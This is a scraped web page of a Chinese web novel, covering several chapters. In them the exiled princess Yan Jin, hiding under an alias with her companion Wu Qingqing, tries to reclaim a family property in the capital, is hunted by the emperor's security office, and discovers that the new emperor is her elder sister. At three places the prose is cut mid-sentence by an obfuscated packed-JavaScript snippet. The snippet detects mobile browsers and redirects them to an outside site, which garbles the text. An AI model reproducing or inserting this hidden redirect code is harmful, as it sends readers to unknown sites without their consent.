燕谨隐约猜到一些,若不是因为国都当时形势不稳受了连累,便是镖局营生得罪了人,惹出麻烦才致灭家之祸。 先前她曾犹豫过要不要来国都将祖业认领回去,若是因为后者,难保仇家不会赶尽杀绝。 考虑再三之后,还是决定先领回去再做打算,免得白白断送了。 对着地契上的地址,他们先来到了镖局的位置。 那是一处位置极好的铺面,虽然不在他们进来的东正门边上,但也在国都南德门的关厢地带,人来人往,热闹非凡。 这条街上只有两三家铺子还关着,迟迟无人认领,其他铺面照常营业,路过的人对那几家大门紧闭的铺子也是见怪不怪。 燕谨与乌轻轻坐在附近的一个茶棚里休息,想打听些关于镖局的事情。 小二来上茶时,燕谨喊住他:“店家稍候,有件事想与您问一问。” “可不敢当,您吩咐,何事?” “家中前些时日迁入国都,父母想在京中寻个铺面营生,我看这街上有几家店都关着,不知是何缘故,可能租赁?” 这会儿无人,小二也乐得跟他们说两句,好声好气地解释道:“若您要租,可在年后去营缮清吏司问问,他们现下管着这个呢。” “不知哪个铺子大些,家父原先是开武馆的,想找个大些的铺面。” 小二朝位置居中的那家铺子一指:“那家稍大些,开武馆或许不够,但附近其他铺面大些的怕是都没有了。” 燕谨心中一动,礼貌谢过小二,视线落在茶棚斜对面的镖局原址上。 “小谨,”乌轻轻将头靠过来,小声嘀咕,“为何他不推荐咱们家镖局?那里明显更合适。” 小二不知他们身份,但推荐铺面时下意识避开了镖局的位置,定有内情。 燕谨指尖在桌上轻点,看着镖局的位置默不作声。 那里与周围对比瞧着有些格格不入,大门紧闭,门框颜色老旧掉漆。原本门口柱子上应当写了什么,现在也被雨水侵蚀到只留些微的痕迹,看不真切。 看起来已经很久没人踏足了,与另外几家铺子无甚区别。 燕谨收回视线,给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260510|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和乌轻轻一人倒了杯茶,若无其事道:“也许中间那家铺子比咱家镖局还大些吧。” 必然不可能,乌家的镖局在街口处,光是门面便有东南两个方向,无论如何都会比夹在中间的铺子大。 但乌轻轻不疑有他,将那丝困惑抛诸脑后,喜滋滋品起燕谨给他倒的茶水。 在茶棚了坐了一刻,两人继续去找宅子的位置。 离镖局很近,同样门户紧闭,看不出里面是什么情况。 乌霜雪说那是她怀上乌轻轻之后才置的一处院子,因为平时皆在镖局后面的内宅起居,这处院子不算太大,与云城那处差不多。 绕着院子走了一圈,燕谨望着那比湾水村老宅高出一截的院墙,思忖着若是跳进去看看会如何。 四下看了看,光天化日里,虽然不比街上人多,也总有人路过,只得作罢。 这天回去之后,燕谨与乌轻轻便开始从各种渠道打听“定成镖局”的事情。 他们对国都并不熟悉,连口音都带点云城当地的特色,想要问出这些事而不引人注意不算是很容易的一件事。 随着时间的推近,风也逐渐冷下来,早晨起床洗漱时都得穿得厚实些,乌轻轻已经感冒过一场。 燕谨赶在除夕前三日又去了一趟营缮清吏司,所有人都脚步匆忙,无人接待她。 还是她眼尖,瞧见了上回接待她的吏员,将人扯过来询问。 吏员本有些恼怒,看过她的地契之后才想起来,赶忙回道:“真不赶巧,年节时下,司中人手不足,忙不过来,娘子再等等。” 说完又想走,燕谨面色不虞,挡在他面前,“官爷,再过三日便是除夕,你让我多等几日?到了明年官府要将无人认领的铺面宅院都收回去,我等该如何自处?” 吏员眉梢微动,退后一步,上下打量挡在他身前的燕谨。 眼前的女子一身黑衣,身量很高,几乎与他持平。上回瞧着不过是从乡下逃回来想将祖业拿回去的村俗女子,这回再看,倒多了几分说不清的气势,不太好糊弄。 他静了半晌后道:“除夕那日过来,必定与你办妥。” “当真?” “你若不信便不要来!那日我就是将所有事务尽数推了,也得给你办好!”吏员佯怒,对于燕谨的反问大动肝火,冷着一张脸朝里走。 燕谨没再拦。 “那我除夕再来,官爷可要说话算话。” 吏员头也不回地冷哼一声,脚步不停。 他一路往里,跨过垂花门,沿着抄手游廊一路到底,推开了一间屋子的门。 “打发走了,让那妇人除夕当日再过来。” 坐在书桌后头的人心思还放在面前的文册上,随意嗯了一声,将吏员晾在原地。 约莫过了一炷香左右,将手上事务告一段落,他才抬头去看下首之人。 “镇抚司那群人年前看得紧,不好动作,年后若再来闹,你便处理了吧。” 他说这话时风轻云淡,垂首听从吩咐之人也面不改色,早已司空见惯。 “是。” 44. 惊变 从营缮清吏司出来之后,燕谨站在路边,心中一片空茫。 身后是偌大的宫城,身前是繁华热闹的国都主城,她立身其中,却始终找不到支点。 乌轻轻不是她的支点,他自己尚且漂浮于世上,得牢牢抓着燕谨才得一隅安心之地。燕谨从不敢在他面前展现自己心中的忧虑,她若稳不住,便是将他们两个人都往绝境中推。 冬天已经到了,寒风打在脸上些微刺痛,竟刺得人眼眶也酸涩起来。 燕谨很清楚吏员口中或许没有一句实话,除夕再来?到时能不能进营缮清吏司的大门都未可知。 她呼出一口气,牵着跃风的缰绳,踱步向前,往主城方向走去。 这些日子燕谨一直谨小慎微,对于繁华之地退避三舍,谨防遇见曾经在她还是“六公主”时认识她的人。 躲了一个月,忽然就想过去看一看。 小时燕谨不常出宫,她性子安静,不好玩乐,不像长姐与哥哥,总是央求父皇母后让他们出宫玩。只要他们能出去,十有二三带着燕谨,于是燕谨也对国都的繁华有了几分了解。 身着黑衣的女子清瘦高挑,看着有些冷情,她眉间微皱,似有倦意;身旁一匹白马相伴,独特的组合吸引了不少人的视线。 燕谨的视线一直在两侧的店铺上滑过,想要找到一些关于幼时的记忆。 临街的酒楼上,身后候着一大群人的华服少女饶有兴致地看向街边走过的一人一马。 “霖珠,过来。”华服少女挥手,人群中走出一位与她年纪相仿的婢女,垂首听候吩咐。 她满脸兴味,扭头想说些什么,见婢女离她还有两臂距离,明艳的脸庞浮上恼意,“站那么远干什么,到我身边来。” 霖珠便往前走了几步,站在她身边,仍然低着头。 “抬头,你看底下那个牵着马的女子,像不像燕谨?” “小姐,奴婢看不出来……” 余跃只看见那女子的侧脸与背影,她瞧着那人越走越远,身影逐渐被人群淹没。 她扭头对自己的婢女发脾气,双手抱臂,斜眼看过去,“你怎会看不出来?以前燕谨出宫玩时,我不是带你一起去的吗。” 霖珠沉默不语,既不为自己分辨,也不求饶。 余跃瞪了一会儿自觉无趣,收起气恼的模样,冷声吩咐道:“找个人去跟着她,查清住在哪里回来报我。” 那人与幼时的燕谨有五分相像。 若真是燕谨,进城时看见陛下发布的寻人启事,必定会前往顺天府,被风光迎回宫中。 若是哪个贼心不死之人想趁着年关闹出什么事来……余跃冷笑一声,她自会为陛下料理清楚,谁也别想兴风作浪。 燕谨对这一切浑然不知,她逛了一会儿,终究是担心引人注意,没再往里走,而是扭身上马,朝家中去。 跟在后头的人见她突然上马往偏僻之地走,吓得打起十二万分的精神,生怕自己已经被发现,一人继续跟着,另一人回去上报给主子。 国都城中不得纵马,她的速度不快,身后跟着的人原本远远缀在身后,被她一吓,反倒露出了端倪。 燕谨在青山中待了将近六年,也做了六年的猎户,对细微处的不对劲向来警觉万分。 在行过一个转角时,她微微侧首往后看去,一个身着深灰色袍子的男人似是站在摊贩前讨价还价,眼睛却忍不住往她这里飘。 他们的视线在半空中轰然对上,燕谨瞳孔一缩,一息都未犹豫,脚下用力,驾着跃风快速离去。 灰袍男人唾骂一声,心中暗道要坏,朝着燕谨离开的方向追过去。 人腿终究跑不过马腿,他追了没有多久,那女人的身影就已经消失了。 想到主子的处罚,灰袍男人背后冷汗直冒,继续跟着马蹄留下的痕迹追上去。 燕谨是一个合格的猎人。 她既擅长在猎物露出弱点时一击毙命,获得自己想要的东西;也擅长甩掉暂时处理不掉的猛兽,掩盖自己的行踪,遮盖自己的居所,在短暂退避后找寻时机。 这些规则在青山上适用,在国都也同样适用。 一个月的时间,足以她对城南的街巷了如指掌。 燕谨额上冒出点点热汗,被冬日的风一吹,脑中刺痛不已。 确认灰袍男人已经被自己甩掉之后,燕谨以最快的速度回到家中。 她带着跃风进门时,乌轻轻正在院子里打水。 她的声音犹如惊雷,瞬间将乌轻轻的天空划出一道白痕。 “轻轻!收拾东西,快!我们得离开了。” 燕谨回首将院门关好,随手扔掉跃风的缰绳,三两步跨入屋内。 乌轻轻人还弯着腰拎装满水的桶,两只袖子都挽了起来方便干活,一时没有反应过来。 十一岁时从湾水村逃走时的景象原本以为已经忘了,此时却如刻在他脑中一般,每一幕、每句话、每个人当时的反应都记忆犹新。 他手脚发软,装满水的水桶掉回井底,溅起的水花洒在他脸上、身上。 乌轻轻一口咬住舌尖,尖锐的疼痛让他拾起些力气,将血咽下,急匆匆跑进屋里。 “轻轻,只收重要的东西,我们这次不能驾马车了。” 燕谨神色凝重,手下动作不停,将他们的衣服通通扔在床上,等会用床单统一包起来。 “好,好,那我去给飞云和跃风套马鞍。”乌轻轻竭力平复情绪,哪怕指尖还在颤抖,也不会对燕谨的话质疑一分。 “不用,”燕谨喊住他,声音嘶哑,“这次,不能骑马。” 乌轻轻将要转身的动作顿在原地,他眼中极快弥漫起雾气,将自己掌心掐出血痕都无法止住这股突如其来的悲痛。 上次他失去了自己的娘亲,上上次他失去了自己的祖父祖母,这次只不过是一匹陪了他十几年的马儿而已…… 乌轻轻用力一咬,牙齿狠狠撞在舌尖的新伤上,立时涌出一大股血液,沿着唇角流淌下来。 真是太没用了……他现在不是五岁,不是十一岁,而是十七岁。 怎么还这么沉不住气,怎么还无法接受突如其来的离别…… 他几乎用尽全身力气才克制住自己的情绪,一个字也没有多问燕谨,而是点头:“好,我去拿水囊装些水。” 还未走出房门,手臂便被拉住。 燕谨强硬地将他转过来,拧眉看着他唇角的血,其后用力抱住他。 “别怕,它们不会有事的,相信我。” “好,”乌轻轻点头,依恋地在眼前人的怀中蹭了一下。他只给了自己一息时间软弱,随后挣开燕谨,抬手将唇角血液擦掉。 “我去厨房拿水囊。” 他相信小谨,小谨从来没有骗过他。 打包行李这件事第一次做手足无措,第二次做挑挑拣拣,第三次做已经驾轻就熟。 燕谨没用多久就将衣物药 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灰袍男人冷汗津津地待他们将这院子彻底搜查之后,回府向首领复命。 右相府,书房内。 “有意思,”余跃坐在椅上,唇上挂着笑,“你是说,她叫叶谨?” 低着头的男人应是:“是,将院子租给她的妇人已在府中。” “限你一日,将她在国都的所有事情都挖出来。继续派人寻他们的踪迹,若有两人,定然跑不远。那妇人你们看着审,若是无辜,便放归家去。” “那钱三与魏元?” 这两人便是余跃一开始派出去跟着燕谨的人,灰袍男人一路跟到院中,另一人早早回去汇报。 “办事不利,按府规处置。” “是,属下领命。” 人退下去之后,余跃看着桌上的纸张,兀自思考着。 若是燕谨在这必定一眼认出,那是一张“长姐”发出去的寻人启示。 字字真切,深厚的情谊几乎要从薄薄的纸上涌出来。 若真是燕谨,她怎么舍得不表明身份,不与“长姐”相见? 余跃几乎断定此人身份,必是心怀叵测之徒放出来的倒钩。 她不会让这个“叶谨”有任何危害到陛下的机会。 —— 燕谨与乌轻轻其实并没有逃到太远的地方。 他们先前在城南找房子时,曾经看到护城河附近有空置待租的院子。当时燕谨没有上门去问,只看了巷口的院子便定了下来,是以并没有人知道他们曾经看中过这一处地方。 燕谨打马回家时为了拖时间,特地到这里来绕了一圈。 发现那院子还没有人入住,她登时就有了打算。 乌轻轻几乎是被她半抱着带过来的,没有惊动任何人,从院墙上翻了进去。 燕谨炽热的呼吸打在乌轻轻耳后,两个人倒在墙角喘息,燕谨的注意力全部放在院子外面。 “小谨,卧房门上锁了,我们进不去。”乌轻轻低声提醒。 “没事,我们只需要在这里躲三天。” 燕谨将手放在他发上,下意识抚动,舒缓乌轻轻紧绷的身体。 她眸中星光闪烁,神色坚定且执拗。 只需要三天就好,她一定要在除夕当晚确定琰王的身份。 那之后,是逃是留,是好是坏,皆有结论了。 45. 除夕 “一男一女,女名叶谨,男名乌轻轻,户籍上是夫妻关系;两人祖籍云城,一月前从云城赶来国都认领祖业,一间东正门边上的铺面,以前是开镖局的,名为‘定成镖局’,一间安福街上的二进院子。” 一身黑衣的男人单膝跪在桌前向余跃回话,余跃饶有兴致,时不时打断他发表看法。 “身份倒还算逼真。” 男人接着道:“营缮清吏司有个员外郎名崔剑,他岳丈是工部右侍郎柴薪,柴薪一直想要定成镖局的铺面,早已视作囊中之物,只是碍于陛下的新规,只能等年后方可得手。故而在叶谨上门时,崔剑为岳丈分忧,故意派人拖延此事。叶谨无法,只得租了个院子暂住。” 余跃轻笑,油灯中炸开的火星映照在她眼底,眸中冷意森然,“工部竟然也参与其中。” “这两人自入国都租好院子之后,每日在东正门附近打转,向不少人探问了关于那镖局的消息,其他地方并无踏足。昨日是叶谨入国都后首次进入主城,彼时她刚从营缮清吏司出来,崔剑派人告诉她除夕当日方可办理认领手续。” “陛下恩典,今年除夕便封印停朝,崔剑倒会哄人。” “其他的还在查,属下已派人前往云城。”男人说完,垂眸听候吩咐。 余跃沉吟片刻,发出指示:“继续查,也要继续追。他们有两个人跑不了太远,除夕之前,必须将叶谨给我抓住。” “是,属下领命。” —— 空置的院落中,厨房的门窗被燕谨拆开一角,两人得以进去暂避。 “把药吃了再睡,今夜他们应当不会再过来搜了。” 燕谨从瓷瓶中倒出一粒药丸,塞到乌轻轻嘴边要他咽下。 乌轻轻满面潮红,唇色却苍白,将带出来的衣裳全都穿在身上,有气无力地别过头去,不肯吃。 “还闹什么?”燕谨拧眉,伸手把他的下巴掰过来,想使蛮劲让人把药吞下去。 身下人烧得迷迷糊糊,浑身发软,却还是伸出手推拒:“我不吃了,你吃药。” “我没事,出汗就好了,”燕谨眼带焦急,将他的手拉开,膝盖强势地往前顶住,不许他动弹,“听话,轻轻,你需要退烧。” 乌轻轻被她压得动弹不得,眼见那粒药将被燕谨塞入自己口中,疚心疾首,眼泪簌簌流淌。 他费力睁开沉重的眼皮,看着燕谨,执拗道:“我不要……我已经吃了,小谨,你吃药。” 燕谨的情况半点不比他好,面上火烧云似的发烫,呼吸间满是潮热气息。只是她习武多年,体质比乌轻轻好上不少,所以还算清醒。 乌轻轻哭得实在是厉害,燕谨担心他再脱水了,只得收回手脚,搂着他靠在地面的干草垛上。 “轻轻,我没事。别让我担心,将药吃了,我抱着你休息一会儿便没事了……” 她低估了那些来追捕他们的人。 远离宫廷十几年,燕谨对那些手段已经失去了正确认知。 昨日夜里,他们靠在外院的墙角休息,幸亏没有进屋,这才让燕谨听到由远及近的搜捕声。 那些人竟将每处宅院一一搜查,不论有无人居住。 燕谨发觉时,那些人已经距离他们很近了。她没法逃,还带着乌轻轻,她根本逃不了。 从院中翻出来,她看着后头漆黑的护城河,咬牙带着乌轻轻往河边的芦苇丛中躲了过去。 背上两个包袱被她扔在冬青树的枝丫上,被树叶遮挡,看不真切。 冬日的河水冰凉刺骨,乌轻轻刚下水就被冻得牙齿打颤,紧紧抱着燕谨不放。 那群人搜过院子之后,在河边的芦苇丛中也找寻了一番,两人有那么半柱香的时候几乎只有眉眼鼻露出水面。 回到院中时,乌轻轻几近昏厥。 燕谨指节僵硬,面色青白如鬼魅,快速扒了两人身上湿水的衣服,又给乌轻轻喂了药,裹得严严实实。 但半夜里两个人都起烧了。 乌轻轻烧得人都有些迷糊,燕谨不遑多让,两个人靠在一起像两个火炉,在苦寒的冬日紧紧依偎在一起。 来国都之后,乌轻轻也小病过一场,是以退烧药只剩几粒,燕谨还未来得及去添置。 昨夜喂了一粒,白天又喂了两粒,乌轻轻身上的温度起起伏伏。下午好不容易平复些,晚间又滚烫起来。 “你就会哄我……你吃药,小谨……不要再给我了……” 乌轻轻眼中泪水盈盈,无论燕谨怎么说,将头死死埋在她脖颈处,不肯抬头。 “……还有两天,轻轻,还有两天……” 燕谨干裂的嘴唇呢喃,烧了一天没有吃药,她脑中逐渐昏沉,抱着乌轻轻躺倒在地上沉沉睡去。 破旧昏暗的宅院中,寒风卷起地上的枯叶,厨房的窗纸有些裂口,清冷的月光洒进去,只带进丝丝寒意。 第二天醒来时,乌轻轻已经退烧了。 许是吃了药的缘故,他恢复了些力气,神智也有几分清醒。 天光已经大亮了,乌轻轻睁眼时燕谨还在昏睡,他先是松了口气,继而察觉不对。 燕谨额间滚烫,比之他昨日起烧时还要厉害。 乌轻轻大惊,骇得眼前阵阵发黑,去拿药瓶的手抖得不成样子,险些握不住药。 他给了自己一巴掌,止住那股悚然之感,将药丸塞进燕谨口中,又喂她喝了两口水。 “小谨,小谨……你不要吓我……” 虚弱的少年满面泪水,将双眼紧闭的女子搂抱在怀中。 “你不能有事……小谨……我求你,不要抛下我……” 他学着燕谨照顾他的样子去照顾燕谨,给她喂水,给她擦汗,将被褥裹在燕谨身上保暖。 灼人的泪水连成珠串,洒落在燕谨颊上。 她身上温度太高,反倒觉得乌轻轻淌下的眼泪带着凉意。 “……又哭什么。” 低哑的声音响起时,乌轻轻紧咬下唇,只控制自己忍住一瞬,下一刻眼泪愈发汹涌。 “小谨……呜呜……你吓坏我了……呜呜呜……” 燕谨半睁着眼睛,想要抬手去擦他颊上的眼泪。 只是实在虚弱,手腕将将抬起便落下。她高烧到身体酸软,头昏目眩,就连说话都费了不少力气。 “不要哭了,会脱水。” 乌轻轻慌乱抬手,用袖子在自己脸上狠狠擦了两下,嘴角扯起一个干巴巴的笑容:“我不哭,我不脱水,我要照顾你。” 燕谨缓了几息,眼前天旋地转的画面正常不少,终于是看清了乌轻轻的脸。 “脸怎么了?” “什么脸?”乌轻轻没明白她的意思,误以为她脸上有什么东西,吓得俯下身一寸寸找过去,“你脸上什么也没有,你觉得不舒服吗?” 他凑得很近,燕谨几乎能数清他的睫毛。 勉强抬手抚上乌轻轻的脸颊,燕谨又问了一遍:“你的脸怎么了?” 乌轻轻高烧方退,气力不足,能留下这么明显的红印子,可见当时心中忐忑慌乱。 “没事,不小心碰到了……” 燕谨叹了口气,微微用力把他拉下来,两人半边身体紧紧相贴。 “好,再休息一会儿吧。” 那药还是有用的。 到了下午,燕谨也退烧了。 他们不方便生火,幸好先前做了些馒头,此时细细嚼碎,混着冰凉的水,在嘴里含温了才咽下去。 燕谨半坐着,乌轻轻靠在她身边,两人病体未愈,十分沉默。 昨日只差一点,她想带着乌轻轻离开国都。 不再管琰王究竟是谁,不再想寻人启示是谁发出来的,哪怕追捕她的人已经布下了天罗地网,燕谨什么都不再在乎了,只想带着乌轻轻离开国都。 给他找一个安全的地方看病吃药。 他烧到最厉害的时候,燕谨才意识到自己蠢得可以。 她一直认为在她与乌轻轻之间,乌轻轻才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余跃跪送琰昌帝,待人离开之后,才缓慢起身,坐在桌后翻看手中的折子。 “叶谨”还未抓到,她倒要看看,今晚陛下亲临阙楼,那些人可还忍得住气。 —— 戌时二刻,一个穿着平淡无奇的女人从安福街上一处荒废多年的宅院中翻墙而出。 她手中挎着一个篮子,似乎只是想出去买些酒菜与家人共度除夕。 还有两刻,琰昌帝将会在阙楼亮相,与万民共赏绚丽烟火。 她只需要远远看上一眼,能让她看清琰昌帝的面庞即可。 阙楼下,街头巷尾早已是熙来攘往,临街的酒楼包间也早被贵人预定,只等时间一到即可欣赏美景。 余跃布置的人手混迹在百姓当中,严阵以待,目光如炬地在人群中扫视。 “你说余跃干什么这是?”指尖把玩着酒盅的男人随意扫了眼楼下,“连镇抚司的人都派出来了,难道如今还有人敢搞刺杀那一套么?” 坐在他对面的女子淡淡摇头,“与你我无关之事,少操些心。” 男人抿了抿唇,有些不满,“难不成就我一人发现?何远志与孟彦几人俱在附近,想必这会儿下去问了都有可能。” “你若是想,也可以去问。” 男人怏怏低头,又将酒盅举起来饮下一口,“那还是算了。” 大好的日子,他可不想去触镇抚司的霉头。 这是琰昌一年的最后一天,盛况空前,花天锦地。 燕谨没有低头,没有躲闪,同旁人一般面露期盼之意,朝着阙楼的方向涌去。 乌轻轻坐在屋前的台阶上,茫然地抬首望向天空,烟火还未绽放。 琰昌帝正与余跃打趣说笑,宫侍垂首整理陛下腰间的玉带。 他们都在等那一刻的到来。 46. 皇帝 戌正。 承德门外的灯山之下,百驾烟火次第引燃,赤金的火光拖曳数丈长尾。不等观者惊叹,轰然绽放,将国都的夜染成白昼。 琰昌帝在众人的簇拥下,走出宫门,站城阙与底下的万民示意。 数十位公卿大臣站立一旁,与君王共赏。 阙楼下人声鼎沸,十几年以来,这是国都第一次如此热闹。火树银花的景象很好地冲散了因战乱深藏在人们心底的不安,终于是有了些能够好好生活下去的安心落意之感。 燕谨站在一个不起眼的位置,所有注意力都放在了阙楼最当头的人影身上。 那人穿着一袭玄衣,身形不算高大,但瞧着很有气势,身旁的人都因皇帝亲临而激动,燕谨却狠狠皱眉。 皇帝戴着冕冠,十二串冕旒垂下,将面庞尽数遮掩。 抬首间隐约可见底下五官,但看不真切,燕谨连皇帝的眉毛鼻子都分辨不清。 不知道这样皇帝是怎么看清天上的烟火的?燕谨无语凝噎。有心想要再向前两步,但附近已有人开始盯着她,面带怀疑,似乎想过来探问。 到现在燕谨也不知道是谁跟踪她,又是谁要抓她,但并不影响她做下最坏的设想,来者不善的情况下,她不能将自己置于险地。 皇帝就站在阙楼上,也许再往前一些,便能从冕旒底下窥见真容;疑似要抓捕她的人也在附近,再不跑也许就跑不掉了。 她只能选一条路走。 燕谨指尖紧掐掌心,紧盯着阙楼上的皇帝一眼不错,期望能有一个机会。 附近有人围拢过来,他们穿着平民百姓的衣物,可人人腰间鼓囊似有器物,行走间颇有章法。 她额上逐渐冒出冷汗,心跳一声重过一声,几乎要从胸腔中跳出来。 阙楼上的皇帝并不知道燕谨心中所想,在底下人目眦欲裂的视线中,转身与余跃说笑,只留给燕谨一个模糊的侧影。 燕谨狠狠闭了闭眼,迅速俯下身,在人潮中逆流而行。 原本只是怀疑的人立马确定了她的身份,从各个方向围拢过来,将燕谨包围在人群中。 沿街酒楼中一直注意底下动静的贵人们都被惊动了,一个个起身站在窗边,似是看烟火,实则都在看镇抚司除夕夜抓捕犯人。 冷静,冷静,燕谨在心中告诉自己。 她借着人群的遮挡,快速往回赶,与她一同站在街道上想要抓捕的人视线被遮挡,看不太真切她的具体方位,但楼上的人们一眼就注意到了这条逆水而行的大鱼。 “一个女子,看着也不像是干刺客的,镇抚司抓她干什么?” “作奸犯科,奸淫掳掠,干什么不能抓?” “值得余跃在除夕夜派镇抚司的人出来抓?” “没准,余跃这个疯子干什么都不稀奇。” “……倒也有几分歪理。” 他们点评楼下这幕精彩的闹剧,个个兴致盎然,只等鱼儿落网的那一瞬。 但燕谨没那么好抓。 她是老道的猎人,抓过最难缠的猎物,能借用任何东西遮盖自己的身形与气息。 眼见着那个身形诡谲的女人就要借着人群突破镇抚司的包围圈,只想看戏的人坐不住了。 “喂!袁滨!她在那儿!” 这声音的主人颇有几分气力,嗓门嘹亮尖锐,在嘈杂的主街中,稳准狠地传入燕谨耳中。 石破天惊的一句话传来,燕谨心中暗道不好,不再遮掩自己,推开挡在自己面前的人,疾速往外奔去。 她并未浪费时间抬头去看是谁指明了自己的方位,而是抓紧一切时间逃离此地。 镇抚司的总旗袁滨心中气涌如山。 他们早就看到了燕谨,只是想引出她身后的大鱼,故而迟迟不上前抓捕,待所有人手到位之后,这女子便是想跑也跑不掉了。 被人叫破之后反而影响了他们的布局。 眼见着“叶谨”刁钻古怪地将要扭身转入小巷,害怕生变,袁滨一时顾不得太多,大喊:“乌轻轻在我们手上!” 那女人动作一顿,但转瞬跑得更快,袁滨气急:“他被你安置在安福街的乌家老宅中!此刻已被我等抓获!” 燕谨僵住,浑身血液冻结,耳边嗡嗡作响。她转过身来,脸色煞白地盯着不远处的袁滨。 “你怎知他在安福街。” 袁滨打了个手势,镇抚司的人围拢上前,各个面色不善地看着燕谨。 “若不是想引出你们后头的大鱼来,我等岂会容你们苟活至今日。” 燕谨垂眸静立,脑中一片空白。 被人反绞手臂压在墙壁上的时候,她从喉咙里挤出一句话:“他是无辜的,什么也不知道,放过他。” 乌轻轻什么也不知道,他只是跟着自己到国都来想拿回自己家的祖业,他到现在都不知道自己是燕谨。 袁滨正在给她手脚带上镣铐,周围的百姓分出一片空地,满脸讶异与好奇的观看这一幕。 “你倒不如指望他耐用些,别不等你上刑架便把一切都招了。” 燕谨霍然抬头。 —— “冕旒将朕的视线都遮挡了,这烟火再好看着也失了两分颜色。” 琰昌帝小声与余跃抱怨,脚步朝她的方向轻移,避免被身后的大臣们听见。 “陛下且忍忍,万民当前,您得注意皇室威仪。” 琰昌帝十分不满,“皇室威仪若因朕不戴冕旒便失了,那朕这皇帝……。” “陛下!”余跃急声打断,眼神往皇帝身后扫了几眼。 局势还未稳,朝堂上陛下尚且只握了一半,万不可失言于人前。 琰昌帝自知此理,只是现下站在阙楼上,想起幼时登楼与父皇、母后、弟妹赏景时是何等热闹,触景伤怀罢了。 琰昌帝咽下言语,兴致寥寥,也不再看头顶烟火,转而去看底下的百姓。 人头攒动的街道上突兀地出现了一圈空地,里面站着几个人,正往一个女子身上戴枷锁镣铐。 此等良宵吉日,皇帝亲登阙楼与百姓共庆,是谁敢生事? 看着被押解的女子,琰昌帝不知为何,心中有些不舒服。于是伸手将冠上的冕旒掀开,想看得更真切些。 —— 燕谨双目赤红,一字一句道:“你们敢对他用刑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她在人生最绝望时被乌霜雪用一小袋玉米买下,有了新家。 但燕谨从未忘记过自己原来的家,没有一刻忘记过。 长姐没死,她成了皇帝。 燕谨有些想笑,但唇角先感受到的却是泪水的湿咸。 她从没哭得这么厉害过,脑中翻涌着的东西是什么她也说不清,只知道眼泪似乎有些流不尽、止不住。 “省省眼泪吧,到了镇抚司自然有的是你哭。” 袁滨将她甩在地上,冷笑一声,嘲讽不停。 周身忽然喧闹起来,人群中又响起惊呼声。 临街的酒楼里,从各个不同包间中下来数位身着华服的世家子弟。 他们脸带焦急,步履匆匆,近侍挤在前头开路。 “袁滨!住手!” “蠢货,滚开!” “让开!” …… 几人挤开镇抚司的厂卫,停在燕谨身前。 她身负枷锁镣铐,被袁滨扔在地上尚未起身,因觉腹痛难忍,垂首喘息忍耐。 他们神色莫名地看了半晌趴在地上的女子,其中一人颤着声音问:“六公主?” 燕谨缓了半天,扭头将泪水擦在自己衣襟上,抬首看向围拢着自己的人群。 她的视线越过略显眼熟的几人,落在远处的阙楼之上。 方才帝王站立之地,此时已经空无一人。 燕谨脸上的表情似哭似笑,一语不发。 47. 相见 “她不是六公主。” 余跃拦下面带焦急的琰昌帝,俯身作了个长长的揖,不顾琰昌帝忽明忽暗的脸色与其他人满含探究的打量,垂首走到她面前,低声说出实情。 她们此刻还站在阙庭之上,身后便是还未燃尽的烟火。 宫侍执灯站立一旁,这片地方因帝王的存在,黑魅也犹如白昼。 听完余跃的解释,琰昌帝面上无悲无喜,只问:“因她是一月前入国都未来寻朕,你便认定她是被人安排出来作乱的贼子?” 余跃心中忽然有些打鼓,她没敢抬头去看帝王的神色,微微定了定神,道:“是,且臣派人查到,此人这些日子一直避着主城,与同伙掩藏在南城中。臣未曾进行抓捕,就是为了看她与幕后之人究竟想做些什么,好为陛下分忧。” “幕后之人,你可查出?” “还未来人禀告,想必审了……” “余跃,”琰昌帝唤她的名字,语气平静地打断,“朕可以明白告诉你,那人就是燕谨。” 正如燕谨可以一眼认出十几年未见的长姐,燕诏从看清她的那一刻起,也已经确定燕谨的身份。 说完,她不等余跃回复,大踏步走了出去。 身后的宫侍与金吾卫匆匆跟上皇帝,留余跃站在原地,脑中翻江倒海,心乱如麻。 一直作壁上观的几位公卿走过来,假惺惺地宽慰余跃。“余副使,一时失察安排不妥罢了,陛下待你向来宽厚,必不会介意。” 余跃扫了他们一眼,语气冷硬:“不劳几位大公挂心。” 她自陛下登基任镇抚司副镇抚使一职以来,向来目中无人,孤高自傲,一心只做纯臣。暗地里不只多少人恨不能啖其血肉,盼着她早日跌落下来。 见琰昌帝此刻当众指出余跃的错误,围观的几人心情微妙。 余跃无心与他们周旋,眉间紧皱、步履如飞地离开此地。 主城街道上,眼见着围观的百姓越来越多,袁滨等人将燕谨移到了沿街酒楼一处封闭的包厢当中。 她身上的枷锁镣铐并未解除,因为袁滨坚信这个女人并不是“六公主”,而是一个被人放出来企图冒名顶替的幌子。 “诸位贵人别被她骗了,此事乃是副使亲自吩咐,断不会有错。” 镇抚司的厂卫谨防着燕谨挣脱,将她团团围住,袁滨站在前头解释的口干舌燥。 这几人身份极高,袁滨虽家世不凡,但也得罪不起这么多人。 他们有些人信了,有些人则不信。 季白云就是不信的那类人,他立在袁滨身前,态度十分强硬。 “袁滨,让开,你知本公子以前与六公主相熟,让我问她两句便知身份。” 他是光禄寺卿季端的幼子,幼时做过三皇子燕诀的伴读,现任翰林院编撰,清高自持。 自“燕诀”起事之后,他们家就是坚定的琰王党,如今琰王登基,一家子更是水涨船高。 